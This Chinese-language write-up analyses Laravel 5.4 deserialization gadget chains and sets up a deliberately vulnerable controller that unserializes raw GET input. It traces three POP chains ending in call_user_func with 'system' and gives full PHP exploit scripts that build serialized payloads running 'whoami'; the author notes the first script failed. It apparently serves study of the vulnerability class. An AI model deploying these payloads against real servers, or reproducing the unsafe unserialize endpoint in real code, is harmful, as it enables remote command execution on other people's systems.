环境安装

composer create-project --prefer-dist laravel/laravel blog "5.4.*"

添加路由
route/web.php
Route::get('/seri', "seriController@seri");

添加控制器
app/Http/Controllers/SeriController.php

  1. <?php
  2. namespace App\Http\Controllers;
  3. class SeriController extends Controller{
  4. public function seri(){
  5. if(isset($_GET['code'])){
  6. $code = $_GET['code'];
  7. unserialize($code);
  8. }
  9. else{
  10. highlight_file(__FILE__);
  11. }
  12. return "Laravel 5.4";
  13. }
  14. }
  15. ?>

![WSC2C)_AIEDFAK1LETOG8K.png


漏洞分析

链子一

首先全局搜索 __destruct()
/vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php

  1. /**
  2. * Handle the object's destruction.
  3. *
  4. * @return void
  5. */
  6. public function __destruct()
  7. {
  8. $this->events->dispatch($this->event);
  9. }
  10. }

这里的 $this->events 和 $this->event 都是可控的

全局搜索 __call()
/vendor/fzaninotto/faker/src/Faker/Generator.php

  1. public function __call($method, $attributes)
  2. {
  3. return $this->format($method, $attributes);
  4. }

同样两个参数都是可控的
跟进 format

  1. public function format($formatter, $arguments = array())
  2. {
  3. return call_user_func_array($this->getFormatter($formatter), $arguments);
  4. }

传入的参数都是可控的,我们只要想把那法让前面的 $this->getFormatter($formatter) 的值为 system ,就可以进行命令执行了
跟进 getFormatter

  1. public function getFormatter($formatter)
  2. {
  3. if (isset($this->formatters[$formatter])) {
  4. return $this->formatters[$formatter];
  5. }
  6. foreach ($this->providers as $provider) {
  7. if (method_exists($provider, $formatter)) {
  8. $this->formatters[$formatter] = array($provider, $formatter);
  9. return $this->formatters[$formatter];
  10. }
  11. }
  12. throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
  13. }

我们知道这里的 $this->formatters 也是可控的
则 $this->formatters[$formatter] 也可控
而 $formatter 就是 $dispatch
因此我们可以构造 $this->formatters = [‘$dispatch’ => ‘system’]

exp1

  1. <?php
  2. namespace Illuminate\Broadcasting
  3. {
  4. use Faker\Generator;
  5. class PendingBroadcast
  6. {
  7. protected $events;
  8. protected $event;
  9. public function __construct($cmd)
  10. {
  11. $this->event = $cmd;
  12. $this->events = new Generator;
  13. }
  14. }
  15. $seri = new PendingBroadcast('whoami');
  16. echo (serialize($seri));
  17. }
  18. namespace Faker
  19. {
  20. class Generator
  21. {
  22. protected $formatters = array();
  23. public function __construct()
  24. {
  25. $this->formatters = array('dispatch' => 'system');
  26. }
  27. }
  28. }
  29. ?>

可恶啊,不知道为啥打不通


链子二

重新去寻找 __call 方法
/vendor/laravel/framework/src/Illuminate/Support/Manager.php

  1. public function __call($method, $parameters)
  2. {
  3. return $this->driver()->$method(...$parameters);
  4. }

跟进 driver

  1. public function driver($driver = null)
  2. {
  3. $driver = $driver ?: $this->getDefaultDriver();
  4. // If the given driver has not been created before, we will create the instances
  5. // here and cache it so we can return it next time very quickly. If there is
  6. // already a driver created by this name, we'll just return that instance.
  7. if (! isset($this->drivers[$driver])) {
  8. $this->drivers[$driver] = $this->createDriver($driver);
  9. }
  10. return $this->drivers[$driver];
  11. }

它们默认都是空,所以先跟进看看 createDriver

  1. protected function createDriver($driver)
  2. {
  3. // We'll check to see if a creator method exists for the given driver. If not we
  4. // will check for a custom driver creator, which allows developers to create
  5. // drivers using their own customized driver creator Closure to create it.
  6. if (isset($this->customCreators[$driver])) {
  7. return $this->callCustomCreator($driver);
  8. } else {
  9. $method = 'create'.Str::studly($driver).'Driver';
  10. if (method_exists($this, $method)) {
  11. return $this->$method();
  12. }
  13. }
  14. throw new InvalidArgumentException("Driver [$driver] not supported.");
  15. }

跟进看看 callCustomCreator

  1. protected function callCustomCreator($driver)
  2. {
  3. return $this->customCreators[$driver]($this->app);
  4. }

查看文件我们知道这里的 $driver 和 $this->app 都是可控的
$driver 则是 $driver = $driver ?: $this->getDefaultDriver(); 中得出的

跟进看看 getDefaultDriver

  1. abstract public function getDefaultDriver();

getDefaultDriver 是一个 abstract 声明的抽象方法,因此我们需要去寻找到它的继承子类
/vendor/laravel/framework/src/Illuminate/Notifications/ChannelManager.php

  1. public function getDefaultDriver()
  2. {
  3. return $this->defaultChannel;
  4. }

emm,这里的 $this->defaultChannel 是protected,但是也是能修改,emmm,那就是能控制了

return $this->customCreators[$driver]($this->app);
另 $this->customCreators[$driver] == system
$this->app == whoami 即可执行命令

exp2

  1. <?php
  2. namespace Illuminate\Broadcasting
  3. {
  4. use Illuminate\Notifications\ChannelManager;
  5. class PendingBroadcast
  6. {
  7. protected $events;
  8. public function __construct($cmd)
  9. {
  10. $this->events = new ChannelManager($cmd);
  11. }
  12. }
  13. $seri = new PendingBroadcast('whoami');
  14. echo (serialize($seri));
  15. }
  16. namespace Illuminate\Notifications
  17. {
  18. class ChannelManager
  19. {
  20. protected $app;
  21. protected $defaultChannel;
  22. protected $customCreators;
  23. public function __construct($cmd)
  24. {
  25. $this->defaultChannel = 'shivers';
  26. $this->customCreators = array('shivers' => 'system');
  27. $this->app = $cmd;
  28. }
  29. }
  30. }
  31. ?>

链子三

再找一个 __call
/vendor/fzaninotto/faker/src/Faker/ValidGenerator.php

  1. public function __call($name, $arguments)
  2. {
  3. $i = 0;
  4. do {
  5. $res = call_user_func_array(array($this->generator, $name), $arguments);
  6. $i++;
  7. if ($i > $this->maxRetries) {
  8. throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
  9. }
  10. } while (!call_user_func($this->validator, $res));
  11. return $res;
  12. }

这里的 $this->generator $this->maxRetries $this->validator 都是可控的
只要我们去满足
$res = call_user_func_array(array($this->generator, $name), $arguments); 即可
因此我们需要找到一个 __call 方法能够返回可控制字符的对象,然后令 $this->generator 为这个对象,就等于控制了 $res

全局搜索找到
/vendor/fzaninotto/faker/src/Faker/DefaultGenerator.php

  1. public function __call($method, $attributes)
  2. {
  3. return $this->default;
  4. }

确实 $this->default 可控

exp3

  1. <?php
  2. namespace Illuminate\Broadcasting
  3. {
  4. use Faker\ValidGenerator;
  5. class PendingBroadcast
  6. {
  7. protected $events;
  8. public function __construct($cmd)
  9. {
  10. $this->events = new ValidGenerator($cmd);
  11. }
  12. }
  13. $seri = new PendingBroadcast('whoami');
  14. echo base64_encode(serialize($seri));
  15. }
  16. namespace Faker
  17. {
  18. use Faker\DefaultGenerator;
  19. class ValidGenerator
  20. {
  21. protected $maxRetries;
  22. protected $validator;
  23. protected $generator;
  24. public function __construct($cmd)
  25. {
  26. $this->generator = new DefaultGenerator($cmd);
  27. $this->maxRetries = 10000000;
  28. $this->validator = 'system';
  29. }
  30. }
  31. }
  32. namespace Faker
  33. {
  34. class DefaultGenerator
  35. {
  36. protected $default;
  37. public function __construct($cmd)
  38. {
  39. $this->default = $cmd;
  40. }
  41. }
  42. }
  43. ?>

参考:https://www.cnblogs.com/shivers0x72/p/14800109.html